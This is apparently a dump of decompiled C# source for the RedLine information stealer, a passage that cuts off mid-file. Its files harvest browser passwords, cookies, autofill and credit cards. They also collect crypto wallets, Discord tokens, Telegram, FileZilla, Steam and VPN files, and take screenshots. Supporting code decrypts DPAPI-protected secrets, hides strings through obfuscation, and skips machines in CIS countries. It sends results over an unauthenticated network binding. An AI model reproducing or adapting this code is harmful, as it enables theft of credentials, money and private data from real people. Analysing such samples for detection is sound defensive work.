get; set; } 41 | 42 | [DataMember(Name = "Id12")] 43 | public List Id12 { get; set; } 44 | 45 | [DataMember(Name = "Id13")] 46 | public List Id13 { get; set; } 47 | } 48 | -------------------------------------------------------------------------------- /Discoed/Json.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Web.Script.Serialization; 3 | 4 | // Token: 0x0200001D RID: 29 5 | public static class Json 6 | { 7 | // Token: 0x17000006 RID: 6 8 | // (get) Token: 0x060000B4 RID: 180 RVA: 0x00008E74 File Offset: 0x00007274 9 | public static JavaScriptSerializer JSON 10 | { 11 | get 12 | { 13 | JavaScriptSerializer result; 14 | if ((result = Json.json) == null) 15 | { 16 | JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer(); 17 | javaScriptSerializer.MaxJsonLength = int.MaxValue; 18 | javaScriptSerializer.RecursionLimit = int.MaxValue; 19 | result = javaScriptSerializer; 20 | Json.json = javaScriptSerializer; 21 | } 22 | return result; 23 | } 24 | } 25 | 26 | // Token: 0x060000B5 RID: 181 RVA: 0x00008EB4 File Offset: 0x000072B4 27 | public static T FromJSON(this string @this) 28 | { 29 | T result; 30 | try 31 | { 32 | result = Json.JSON.Deserialize(@this.Trim()); 33 | } 34 | catch (Exception ex) 35 | { 36 | result = default(T); 37 | } 38 | return result; 39 | } 40 | 41 | // Token: 0x060000B6 RID: 182 RVA: 0x00008EF8 File Offset: 0x000072F8 42 | public static string ToJSON(this object @this) 43 | { 44 | return Json.JSON.Serialize(@this); 45 | } 46 | 47 | // Token: 0x04000014 RID: 20 48 | private static JavaScriptSerializer json; 49 | } 50 | -------------------------------------------------------------------------------- /Discoed/Entitiy_CollectedResults.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | 5 | [DataContract(Name = "Entity7", Namespace = "Entity")] 6 | public struct Entity_CollectedResults 7 | { 8 | 9 | [DataMember(Name = "Id1")] 10 | public string HWID { get; set; } 11 | 12 | [DataMember(Name = "Id2")] 13 | public string BotID { get; set; } 14 | 15 | [DataMember(Name = "Id3")] 16 | public string UserName { get; set; } 17 | 18 | [DataMember(Name = "Id4")] 19 | public string WindowsVersion { get; set; } 20 | 21 | [DataMember(Name = "Id5")] 22 | public string InputLanguage { get; set; } 23 | 24 | [DataMember(Name = "Id6")] 25 | public string MonitorSize { get; set; } 26 | 27 | [DataMember(Name = "Id7")] 28 | public Entity_StolenData StolenData { get; set; } 29 | 30 | [DataMember(Name = "Id8")] 31 | public string Id8 { get; set; } 32 | 33 | [DataMember(Name = "Id9")] 34 | public string Id9 { get; set; } 35 | 36 | [DataMember(Name = "Id10")] 37 | public string TimeZone { get; set; } 38 | 39 | [DataMember(Name = "Id11")] 40 | public string PublicIP { get; set; } 41 | 42 | [DataMember(Name = "Id12")] 43 | public byte[] Screenshot { get; set; } 44 | 45 | [DataMember(Name = "Id13")] 46 | public string Id13 { get; set; } 47 | 48 | [DataMember(Name = "Id14")] 49 | public string AppLocation { get; set; } 50 | 51 | [DataMember(Name = "Id15")] 52 | public bool AlreadySeen { get; set; } 53 | } 54 | -------------------------------------------------------------------------------- /Discoed/FileExt.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | 5 | // Token: 0x0200001C RID: 28 6 | public static class FileExt 7 | { 8 | // Token: 0x060000B2 RID: 178 RVA: 0x00008D4C File Offset: 0x0000714C 9 | public static byte[] ReadFile(this string filename) 10 | { 11 | try 12 | { 13 | bool flag = File.Exists(filename); 14 | if (flag) 15 | { 16 | using (FileStream fileStream = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) 17 | { 18 | using (StreamReader streamReader = new StreamReader(fileStream, Encoding.GetEncoding(1251))) 19 | { 20 | return streamReader.CurrentEncoding.GetBytes(streamReader.ReadToEnd()); 21 | } 22 | } 23 | } 24 | } 25 | catch 26 | { 27 | } 28 | return new byte[0]; 29 | } 30 | 31 | // Token: 0x060000B3 RID: 179 RVA: 0x00008DE8 File Offset: 0x000071E8 32 | public static string ReadFileAsText(this string filename) 33 | { 34 | try 35 | { 36 | bool flag = File.Exists(filename); 37 | if (flag) 38 | { 39 | using (FileStream fileStream = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) 40 | { 41 | using (StreamReader streamReader = new StreamReader(fileStream, Encoding.GetEncoding(1251))) 42 | { 43 | return streamReader.ReadToEnd(); 44 | } 45 | } 46 | } 47 | } 48 | catch 49 | { 50 | } 51 | return null; 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /Discoed/StringDecrypt.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | 4 | // Token: 0x02000008 RID: 8 5 | public static class StringDecrypt 6 | { 7 | // Token: 0x06000028 RID: 40 RVA: 0x000043D4 File Offset: 0x000027D4 8 | public static string Xor(string input, string stringKey) 9 | { 10 | StringBuilder stringBuilder = new StringBuilder(); 11 | for (int i = 0; i < input.Length; i++) 12 | { 13 | int utf = (int)(input[i] ^ stringKey[i % stringKey.Length]); 14 | stringBuilder.AppendFormat("{0}", char.ConvertFromUtf32(utf)); 15 | } 16 | return stringBuilder.ToString(); 17 | } 18 | 19 | // Token: 0x06000029 RID: 41 RVA: 0x00004434 File Offset: 0x00002834 20 | private static string FromBase64(string base64str) 21 | { 22 | return StringDecrypt.BytesToStringConverted(Convert.FromBase64CharArray(base64str.ToCharArray(), 0, base64str.Length)); 23 | } 24 | 25 | // Token: 0x0600002A RID: 42 RVA: 0x00004460 File Offset: 0x00002860 26 | private static string BytesToStringConverted(byte[] bytes) 27 | { 28 | return Encoding.UTF8.GetString(bytes); 29 | } 30 | 31 | // Token: 0x0600002B RID: 43 RVA: 0x00004480 File Offset: 0x00002880 32 | public static string Read(string b64, string stringKey) 33 | { 34 | string result; 35 | try 36 | { 37 | bool flag = string.IsNullOrWhiteSpace(b64); 38 | if (flag) 39 | { 40 | result = string.Empty; 41 | } 42 | else 43 | { 44 | string input = StringDecrypt.FromBase64(b64); 45 | result = StringDecrypt.FromBase64(StringDecrypt.Xor(input, stringKey)); 46 | } 47 | } 48 | catch 49 | { 50 | result = b64; 51 | } 52 | return result; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /Discoed/EnvironmentChecker.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Globalization; 3 | 4 | // Token: 0x02000020 RID: 32 5 | public static class EnvironmentChecker 6 | { 7 | // Token: 0x060000BB RID: 187 RVA: 0x00009160 File Offset: 0x00007560 8 | public static bool Check() 9 | { 10 | try 11 | { 12 | CultureInfo currentCulture = CultureInfo.CurrentCulture; 13 | string name = (currentCulture != null) ? currentCulture.ToString() : null; 14 | RegionInfo regionInfo = new RegionInfo(name); 15 | TimeZoneInfo local = TimeZoneInfo.Local; 16 | string[] regionsCountry = EnvironmentChecker.RegionsCountry; 17 | int i = 0; 18 | while (i < regionsCountry.Length) 19 | { 20 | string text = regionsCountry[i]; 21 | if (text.Contains(regionInfo.EnglishName)) 22 | { 23 | goto IL_6C; 24 | } 25 | string text2 = text; 26 | CultureInfo currentUICulture = CultureInfo.CurrentUICulture; 27 | if (text2.Contains((currentUICulture != null) ? currentUICulture.EnglishName : null)) 28 | { 29 | goto IL_6C; 30 | } 31 | bool flag = local.Id.Contains(text); 32 | IL_6D: 33 | bool flag2 = flag; 34 | if (flag2) 35 | { 36 | return true; 37 | } 38 | i++; 39 | continue; 40 | IL_6C: 41 | flag = true; 42 | goto IL_6D; 43 | } 44 | } 45 | catch (Exception) 46 | { 47 | } 48 | return false; 49 | } 50 | 51 | // Token: 0x04000015 RID: 21 52 | private static readonly string[] RegionsCountry = new string[] 53 | { 54 | "Armenia", 55 | "Azerbaijan", 56 | "Belarus", 57 | "Kazakhstan", 58 | "Kyrgyzstan", 59 | "Moldova", 60 | "Tajikistan", 61 | "Uzbekistan", 62 | "Ukraine", 63 | "Russia" 64 | }; 65 | } 66 | -------------------------------------------------------------------------------- /Discoed/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /Discoed/OpenVPN.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | 6 | // Token: 0x02000019 RID: 25 7 | public class OpenVPN : Extractor 8 | { 9 | // Token: 0x0600009F RID: 159 RVA: 0x00007B78 File Offset: 0x00005F78 10 | public override string Id2(Entity_FileSearchInformation scannerArg, FileInfo fileInfo) 11 | { 12 | return string.Empty; 13 | } 14 | 15 | // Token: 0x060000A0 RID: 160 RVA: 0x00007B90 File Offset: 0x00005F90 16 | public override IEnumerable Id3() 17 | { 18 | List list = new List(); 19 | try 20 | { 21 | list.Add(new Entity_FileSearchInformation 22 | { 23 | Id1 = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPFile.WriteROFILE%\\AppFile.WriteData\\RoamiFile.Writeng").Replace("File.Write", string.Empty), new string(new char[] 24 | { 25 | 'O', 26 | 'p', 27 | 'H', 28 | 'a', 29 | 'n', 30 | 'd', 31 | 'l', 32 | 'e', 33 | 'r', 34 | 'e', 35 | 'n', 36 | 'V', 37 | 'P', 38 | 'H', 39 | 'a', 40 | 'n', 41 | 'd', 42 | 'l', 43 | 'e', 44 | 'r', 45 | 'N', 46 | ' ', 47 | 'C', 48 | 'o', 49 | 'n', 50 | 'H', 51 | 'a', 52 | 'n', 53 | 'd', 54 | 'l', 55 | 'e', 56 | 'r', 57 | 'n', 58 | 'e', 59 | 'c', 60 | 't' 61 | }).Replace("Handler", string.Empty) + "\\" + new string(new char[] 62 | { 63 | 'p', 64 | 'r', 65 | 'o', 66 | 'f', 67 | 'i', 68 | 'l', 69 | 'e', 70 | 's' 71 | })), 72 | Id2 = new string("npvo*".Reverse().ToArray()), 73 | Id3 = false 74 | }); 75 | } 76 | catch 77 | { 78 | } 79 | return list; 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /redline_config.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29905.134 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "redline_config", "Discoed\redline_config.csproj", "{FE22E234-02C4-4BB9-B77B-647DBAC970F3}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|Mixed Platforms = Debug|Mixed Platforms 12 | Debug|x86 = Debug|x86 13 | Release|Any CPU = Release|Any CPU 14 | Release|Mixed Platforms = Release|Mixed Platforms 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {FE22E234-02C4-4BB9-B77B-647DBAC970F3}.Debug|Any CPU.ActiveCfg = Debug|x86 19 | {FE22E234-02C4-4BB9-B77B-647DBAC970F3}.Debug|Any CPU.Build.0 = Debug|x86 20 | {FE22E234-02C4-4BB9-B77B-647DBAC970F3}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 21 | {FE22E234-02C4-4BB9-B77B-647DBAC970F3}.Debug|Mixed Platforms.Build.0 = Debug|x86 22 | {FE22E234-02C4-4BB9-B77B-647DBAC970F3}.Debug|x86.ActiveCfg = Debug|x86 23 | {FE22E234-02C4-4BB9-B77B-647DBAC970F3}.Debug|x86.Build.0 = Debug|x86 24 | {FE22E234-02C4-4BB9-B77B-647DBAC970F3}.Release|Any CPU.ActiveCfg = Release|x86 25 | {FE22E234-02C4-4BB9-B77B-647DBAC970F3}.Release|Any CPU.Build.0 = Release|x86 26 | {FE22E234-02C4-4BB9-B77B-647DBAC970F3}.Release|Mixed Platforms.ActiveCfg = Release|x86 27 | {FE22E234-02C4-4BB9-B77B-647DBAC970F3}.Release|Mixed Platforms.Build.0 = Release|x86 28 | {FE22E234-02C4-4BB9-B77B-647DBAC970F3}.Release|x86.ActiveCfg = Release|x86 29 | {FE22E234-02C4-4BB9-B77B-647DBAC970F3}.Release|x86.Build.0 = Release|x86 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {8B513547-4C4F-457E-A590-98455E157E29} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /Discoed/Entity_Browser.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Runtime.Serialization; 4 | 5 | 6 | [DataContract(Name = "Entity9", Namespace = "Entity")] 7 | public class Entity_Browser 8 | { 9 | [DataMember(Name = "Id1")] 10 | public string NameOfBrowser { get; set; } 11 | 12 | [DataMember(Name = "Id2")] 13 | public string ProfileOfBrowser { get; set; } 14 | 15 | [DataMember(Name = "Id3")] 16 | public IList LoginData { get; set; } 17 | 18 | // Token: 0x1700000F RID: 15 19 | // (get) Token: 0x0600014B RID: 331 RVA: 0x0000349B File Offset: 0x0000169B 20 | // (set) Token: 0x0600014C RID: 332 RVA: 0x000034A3 File Offset: 0x000016A3 21 | [DataMember(Name = "Id4")] 22 | public IList AutoFill { get; set; } 23 | 24 | // Token: 0x17000010 RID: 16 25 | // (get) Token: 0x0600014D RID: 333 RVA: 0x000034AC File Offset: 0x000016AC 26 | // (set) Token: 0x0600014E RID: 334 RVA: 0x000034B4 File Offset: 0x000016B4 27 | [DataMember(Name = "Id5")] 28 | public IList CreditCard { get; set; } 29 | 30 | // Token: 0x17000011 RID: 17 31 | // (get) Token: 0x0600014F RID: 335 RVA: 0x000034BD File Offset: 0x000016BD 32 | // (set) Token: 0x06000150 RID: 336 RVA: 0x000034C5 File Offset: 0x000016C5 33 | [DataMember(Name = "Id6")] 34 | public IList Cookies { get; set; } 35 | 36 | // Token: 0x06000151 RID: 337 RVA: 0x0000B25C File Offset: 0x0000945C 37 | public bool Id7() 38 | { 39 | bool result = true; 40 | IList id = this.AutoFill; 41 | if (id != null && id.Count > 0) 42 | { 43 | result = false; 44 | } 45 | IList id2 = this.Cookies; 46 | if (id2 != null && id2.Count > 0) 47 | { 48 | result = false; 49 | } 50 | IList id3 = this.CreditCard; 51 | if (id3 != null && id3.Count > 0) 52 | { 53 | result = false; 54 | } 55 | IList id4 = this.LoginData; 56 | if (id4 != null && id4.Count > 0) 57 | { 58 | result = false; 59 | } 60 | return result; 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /Discoed/Entity_StolenData.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Runtime.Serialization; 4 | 5 | 6 | [DataContract(Name = "Entity1", Namespace = "Entity")] 7 | public class Entity_StolenData 8 | { 9 | 10 | [DataMember(Name = "Id1")] 11 | public List InstalledAVs { get; set; } = new List(); 12 | 13 | [DataMember(Name = "Id2")] 14 | public List AvailableLanguages { get; set; } = new List(); 15 | 16 | [DataMember(Name = "Id3")] 17 | public List InstalledPrograms { get; set; } = new List(); 18 | 19 | [DataMember(Name = "Id4")] 20 | public List RunningProcesses { get; set; } = new List(); 21 | 22 | [DataMember(Name = "Id5")] 23 | public List HardwareInfo { get; set; } = new List(); 24 | 25 | [DataMember(Name = "Id6")] 26 | public List StolenBrowsers { get; set; } = new List(); 27 | 28 | [DataMember(Name = "Id7")] 29 | public List CollectFilezilla { get; set; } = new List(); 30 | 31 | [DataMember(Name = "Id8")] 32 | public List Browsers { get; set; } = new List(); 33 | 34 | [DataMember(Name = "Id9")] 35 | public List GrabbedFiles { get; set; } = new List(); 36 | 37 | [DataMember(Name = "Id10")] 38 | public List GameLaunchers { get; set; } = new List(); 39 | 40 | [DataMember(Name = "Id11")] 41 | public List Wallets { get; set; } = new List(); 42 | 43 | [DataMember(Name = "Id12")] 44 | public List NordApp { get; set; } 45 | 46 | [DataMember(Name = "Id13")] 47 | public List OpenVPN { get; set; } 48 | 49 | [DataMember(Name = "Id14")] 50 | public List ProtonVPN { get; set; } 51 | 52 | [DataMember(Name = "Id15")] 53 | public List TelegramFiles { get; set; } 54 | 55 | [DataMember(Name = "Id16")] 56 | public List DiscordTokens { get; set; } 57 | } 58 | -------------------------------------------------------------------------------- /Discoed/GdiHelper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Drawing; 3 | using System.Drawing.Drawing2D; 4 | using System.Drawing.Imaging; 5 | using System.IO; 6 | using System.Windows; 7 | using System.Windows.Forms; 8 | 9 | // Token: 0x02000021 RID: 33 10 | public static class GdiHelper 11 | { 12 | // Token: 0x060000BD RID: 189 RVA: 0x00009280 File Offset: 0x00007680 13 | public static Size GetVirtualDisplaySize() 14 | { 15 | Size result; 16 | try 17 | { 18 | result = new Size((int)SystemParameters.VirtualScreenWidth, (int)SystemParameters.VirtualScreenHeight); 19 | } 20 | catch 21 | { 22 | result = Screen.PrimaryScreen.Bounds.Size; 23 | } 24 | return result; 25 | } 26 | 27 | // Token: 0x060000BE RID: 190 RVA: 0x000092CC File Offset: 0x000076CC 28 | public static byte[] GetImageBase() 29 | { 30 | byte[] result; 31 | try 32 | { 33 | Size blockRegionSize = new Size((int)SystemParameters.VirtualScreenWidth, (int)SystemParameters.VirtualScreenHeight); 34 | Bitmap bitmap = new Bitmap(blockRegionSize.Width, blockRegionSize.Height); 35 | using (Graphics graphics = Graphics.FromImage(bitmap)) 36 | { 37 | graphics.InterpolationMode = InterpolationMode.Bicubic; 38 | graphics.PixelOffsetMode = PixelOffsetMode.HighSpeed; 39 | graphics.SmoothingMode = SmoothingMode.HighSpeed; 40 | graphics.CopyFromScreen(new Point(0, 0), new Point(0, 0), blockRegionSize); 41 | } 42 | result = GdiHelper.ConvertToBytes(bitmap); 43 | } 44 | catch (Exception ex) 45 | { 46 | result = null; 47 | } 48 | return result; 49 | } 50 | 51 | // Token: 0x060000BF RID: 191 RVA: 0x00009374 File Offset: 0x00007774 52 | private static byte[] ConvertToBytes(Image img) 53 | { 54 | byte[] result; 55 | try 56 | { 57 | bool flag = img == null; 58 | if (flag) 59 | { 60 | result = null; 61 | } 62 | else 63 | { 64 | using (MemoryStream memoryStream = new MemoryStream()) 65 | { 66 | img.Save(memoryStream, ImageFormat.Png); 67 | result = memoryStream.ToArray(); 68 | } 69 | } 70 | } 71 | catch (Exception ex) 72 | { 73 | result = null; 74 | } 75 | return result; 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /Discoed/CryptoHelper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Globalization; 4 | using System.Security.Cryptography; 5 | using System.Text; 6 | 7 | // Token: 0x02000007 RID: 7 8 | public static class CryptoHelper 9 | { 10 | // Token: 0x06000024 RID: 36 RVA: 0x0000420C File Offset: 0x0000260C 11 | public static string GetDecoded(string EncryptedData, DataProtectionScope dataProtectionScope, byte[] entropy = null) 12 | { 13 | return Encoding.UTF8.GetString(CryptoHelper.DecryptBlob(Encoding.GetEncoding(new string(new char[] 14 | { 15 | 'w', 16 | 'i', 17 | 'n', 18 | 'd', 19 | 'o', 20 | 'w', 21 | 's', 22 | '-', 23 | '1', 24 | '2', 25 | '5', 26 | '1' 27 | })).GetBytes(EncryptedData), dataProtectionScope, entropy)); 28 | } 29 | 30 | // Token: 0x06000025 RID: 37 RVA: 0x00004254 File Offset: 0x00002654 31 | public static byte[] DecryptBlob(byte[] EncryptedData, DataProtectionScope dataProtectionScope, byte[] entropy = null) 32 | { 33 | byte[] result; 34 | try 35 | { 36 | bool flag = EncryptedData == null || EncryptedData.Length == 0; 37 | if (flag) 38 | { 39 | result = null; 40 | } 41 | else 42 | { 43 | result = ProtectedData.Unprotect(EncryptedData, entropy, dataProtectionScope); 44 | } 45 | } 46 | catch (Exception ex) 47 | { 48 | result = null; 49 | } 50 | return result; 51 | } 52 | 53 | // Token: 0x06000026 RID: 38 RVA: 0x0000429C File Offset: 0x0000269C 54 | public static string GetMd5Hash(string source) 55 | { 56 | MD5 md = new MD5CryptoServiceProvider(); 57 | byte[] bytes = Encoding.ASCII.GetBytes(source); 58 | return CryptoHelper.GetHexString(md.ComputeHash(bytes)).Replace("-", string.Empty); 59 | } 60 | 61 | // Token: 0x06000027 RID: 39 RVA: 0x000042DC File Offset: 0x000026DC 62 | private static string GetHexString(IList bt) 63 | { 64 | string text = string.Empty; 65 | for (int i = 0; i < bt.Count; i++) 66 | { 67 | byte b = bt[i]; 68 | int num = (int)b; 69 | int num2 = num & 15; 70 | int num3 = num >> 4 & 15; 71 | bool flag = num3 > 9; 72 | if (flag) 73 | { 74 | text += ((char)(num3 - 10 + 65)).ToString(CultureInfo.InvariantCulture); 75 | } 76 | else 77 | { 78 | text += num3.ToString(CultureInfo.InvariantCulture); 79 | } 80 | bool flag2 = num2 > 9; 81 | if (flag2) 82 | { 83 | text += ((char)(num2 - 10 + 65)).ToString(CultureInfo.InvariantCulture); 84 | } 85 | else 86 | { 87 | text += num2.ToString(CultureInfo.InvariantCulture); 88 | } 89 | bool flag3 = i + 1 != bt.Count && (i + 1) % 2 == 0; 90 | if (flag3) 91 | { 92 | text += "-"; 93 | } 94 | } 95 | return text; 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /Discoed/SystemInfoHelper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.Linq; 5 | using System.Management; 6 | using System.Runtime.CompilerServices; 7 | using System.ServiceModel; 8 | using System.ServiceModel.Channels; 9 | using System.Text.RegularExpressions; 10 | using System.Windows.Forms; 11 | using System.Xml; 12 | using Microsoft.Win32; 13 | 14 | // Token: 0x02000024 RID: 36 15 | public static class SystemInfoHelper 16 | { 17 | // Token: 0x060000C6 RID: 198 RVA: 0x0000967C File Offset: 0x00007A7C 18 | public static System.ServiceModel.Channels.Binding CreateBind() 19 | { 20 | return new NetTcpBinding 21 | { 22 | // Was TimeSpan.FromMinutes(30.0) 23 | MaxReceivedMessageSize = 2147483647L, 24 | MaxBufferPoolSize = 2147483647L, 25 | CloseTimeout = TimeSpan.FromSeconds(120.0), 26 | OpenTimeout = TimeSpan.FromSeconds(120.0), 27 | ReceiveTimeout = TimeSpan.FromSeconds(120.0), 28 | SendTimeout = TimeSpan.FromSeconds(120.0), 29 | TransferMode = TransferMode.Buffered, 30 | ReaderQuotas = new XmlDictionaryReaderQuotas 31 | { 32 | MaxDepth = 44567654, 33 | MaxArrayLength = int.MaxValue, 34 | MaxBytesPerRead = int.MaxValue, 35 | MaxNameTableCharCount = int.MaxValue, 36 | MaxStringContentLength = int.MaxValue 37 | }, 38 | Security = new NetTcpSecurity 39 | { 40 | Mode = SecurityMode.None, 41 | Message = new MessageSecurityOverTcp 42 | { 43 | ClientCredentialType = MessageCredentialType.None 44 | } 45 | } 46 | }; 47 | } 48 | 49 | public static List GetGraphicCards() 50 | { 51 | List list = new List(); 52 | try 53 | { 54 | using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("roSystem.Linqot\\CISystem.LinqMV2".Replace("System.Linq", string.Empty), "SELSystem.LinqECT * FRSystem.LinqOM WinSystem.Linq32_VideoCoSystem.Linqntroller".Replace("System.Linq", string.Empty))) 55 | { 56 | using (ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get()) 57 | { 58 | foreach (ManagementBaseObject managementBaseObject in managementObjectCollection) 59 | { 60 | ManagementObject managementObject = (ManagementObject)managementBaseObject; 61 | try 62 | { 63 | uint num = Convert.ToUInt32(managementObject["AdapterRAM"]); 64 | if (num > 0U) 65 | { 66 | list.Add(new Entity_HardwareInfo 67 | { 68 | name = (managementObject["Name"] as string), 69 | value = num.ToString(), 70 | Id3 = Entity_HardwareType.Id2 71 | }); 72 | } 73 | } 74 | catch (Exception) 75 | { 76 | } 77 | } 78 | } 79 | } 80 | } 81 | catch (Exception ex) 82 | { 83 | 84 | } 85 | return list; 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /Discoed/GameLauncher.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using Microsoft.Win32; 5 | 6 | // Token: 0x02000018 RID: 24 7 | public class GameLauncher : Extractor 8 | { 9 | // Token: 0x0600009C RID: 156 RVA: 0x000079A4 File Offset: 0x00005DA4 10 | public override string Id2(Entity_FileSearchInformation scannerArg, FileInfo fileInfo) 11 | { 12 | try 13 | { 14 | bool flag = scannerArg.Id1.Contains(new string(new char[] 15 | { 16 | 'c', 17 | 'o', 18 | 'n', 19 | 'f', 20 | 'i', 21 | 'g' 22 | })); 23 | if (flag) 24 | { 25 | return new string(new char[] 26 | { 27 | 'c', 28 | 'o', 29 | 'n', 30 | 'f', 31 | 'i', 32 | 'g' 33 | }); 34 | } 35 | } 36 | catch 37 | { 38 | } 39 | return string.Empty; 40 | } 41 | 42 | // Token: 0x0600009D RID: 157 RVA: 0x00007A14 File Offset: 0x00005E14 43 | public override IEnumerable Id3() 44 | { 45 | List list = new List(); 46 | try 47 | { 48 | RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(new string(new char[] 49 | { 50 | 'S', 51 | 'o', 52 | 'f', 53 | 't', 54 | 'w', 55 | 'a', 56 | 'r', 57 | 'e', 58 | '\\', 59 | 'V', 60 | 'a', 61 | 'l', 62 | 'v', 63 | 'e', 64 | '\\', 65 | 'S', 66 | 't', 67 | 'e', 68 | 'a', 69 | 'm' 70 | })); 71 | bool flag = registryKey == null; 72 | if (flag) 73 | { 74 | return list; 75 | } 76 | string text = registryKey.GetValue(new string(new char[] 77 | { 78 | 'S', 79 | 't', 80 | 'e', 81 | 'a', 82 | 'm', 83 | 'P', 84 | 'a', 85 | 't', 86 | 'h' 87 | })) as string; 88 | bool flag2 = !Directory.Exists(text); 89 | if (flag2) 90 | { 91 | return list; 92 | } 93 | list.Add(new Entity_FileSearchInformation 94 | { 95 | Id1 = text, 96 | Id2 = new string(new char[] 97 | { 98 | '*', 99 | 's', 100 | 's', 101 | 'f', 102 | 'n', 103 | '*' 104 | }), 105 | Id3 = false 106 | }); 107 | list.Add(new Entity_FileSearchInformation 108 | { 109 | Id1 = Path.Combine(text, new string(new char[] 110 | { 111 | 'c', 112 | 'o', 113 | 'n', 114 | 'f', 115 | 'i', 116 | 'g' 117 | })), 118 | Id2 = new string(new char[] 119 | { 120 | '*', 121 | '.', 122 | 'v', 123 | 's', 124 | 't', 125 | 'r', 126 | 'i', 127 | 'n', 128 | 'g', 129 | '.', 130 | 'R', 131 | 'e', 132 | 'p', 133 | 'l', 134 | 'a', 135 | 'c', 136 | 'e', 137 | 'd', 138 | 'f' 139 | }).Replace("string.Replace", string.Empty), 140 | Id3 = false 141 | }); 142 | } 143 | catch 144 | { 145 | } 146 | return list; 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /Discoed/BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | // Token: 0x0200002B RID: 43 5 | public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable 6 | { 7 | // Token: 0x06000106 RID: 262 RVA: 0x0000AA78 File Offset: 0x00008E78 8 | public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) 9 | { 10 | this = default(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO); 11 | this.dwInfoVersion = BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO.BCRYPT_INIT_AUTH_MODE_INFO_VERSION; 12 | this.cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); 13 | bool flag = iv != null; 14 | if (flag) 15 | { 16 | this.cbNonce = iv.Length; 17 | this.pbNonce = Marshal.AllocHGlobal(this.cbNonce); 18 | Marshal.Copy(iv, 0, this.pbNonce, this.cbNonce); 19 | } 20 | bool flag2 = aad != null; 21 | if (flag2) 22 | { 23 | this.cbAuthData = aad.Length; 24 | this.pbAuthData = Marshal.AllocHGlobal(this.cbAuthData); 25 | Marshal.Copy(aad, 0, this.pbAuthData, this.cbAuthData); 26 | } 27 | bool flag3 = tag != null; 28 | if (flag3) 29 | { 30 | this.cbTag = tag.Length; 31 | this.pbTag = Marshal.AllocHGlobal(this.cbTag); 32 | Marshal.Copy(tag, 0, this.pbTag, this.cbTag); 33 | this.cbMacContext = tag.Length; 34 | this.pbMacContext = Marshal.AllocHGlobal(this.cbMacContext); 35 | } 36 | } 37 | 38 | // Token: 0x06000107 RID: 263 RVA: 0x0000AB70 File Offset: 0x00008F70 39 | public void Dispose() 40 | { 41 | bool flag = this.pbNonce != IntPtr.Zero; 42 | if (flag) 43 | { 44 | Marshal.FreeHGlobal(this.pbNonce); 45 | } 46 | bool flag2 = this.pbTag != IntPtr.Zero; 47 | if (flag2) 48 | { 49 | Marshal.FreeHGlobal(this.pbTag); 50 | } 51 | bool flag3 = this.pbAuthData != IntPtr.Zero; 52 | if (flag3) 53 | { 54 | Marshal.FreeHGlobal(this.pbAuthData); 55 | } 56 | bool flag4 = this.pbMacContext != IntPtr.Zero; 57 | if (flag4) 58 | { 59 | Marshal.FreeHGlobal(this.pbMacContext); 60 | } 61 | } 62 | 63 | // Token: 0x04000031 RID: 49 64 | public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 1; 65 | 66 | // Token: 0x04000032 RID: 50 67 | public int cbSize; 68 | 69 | // Token: 0x04000033 RID: 51 70 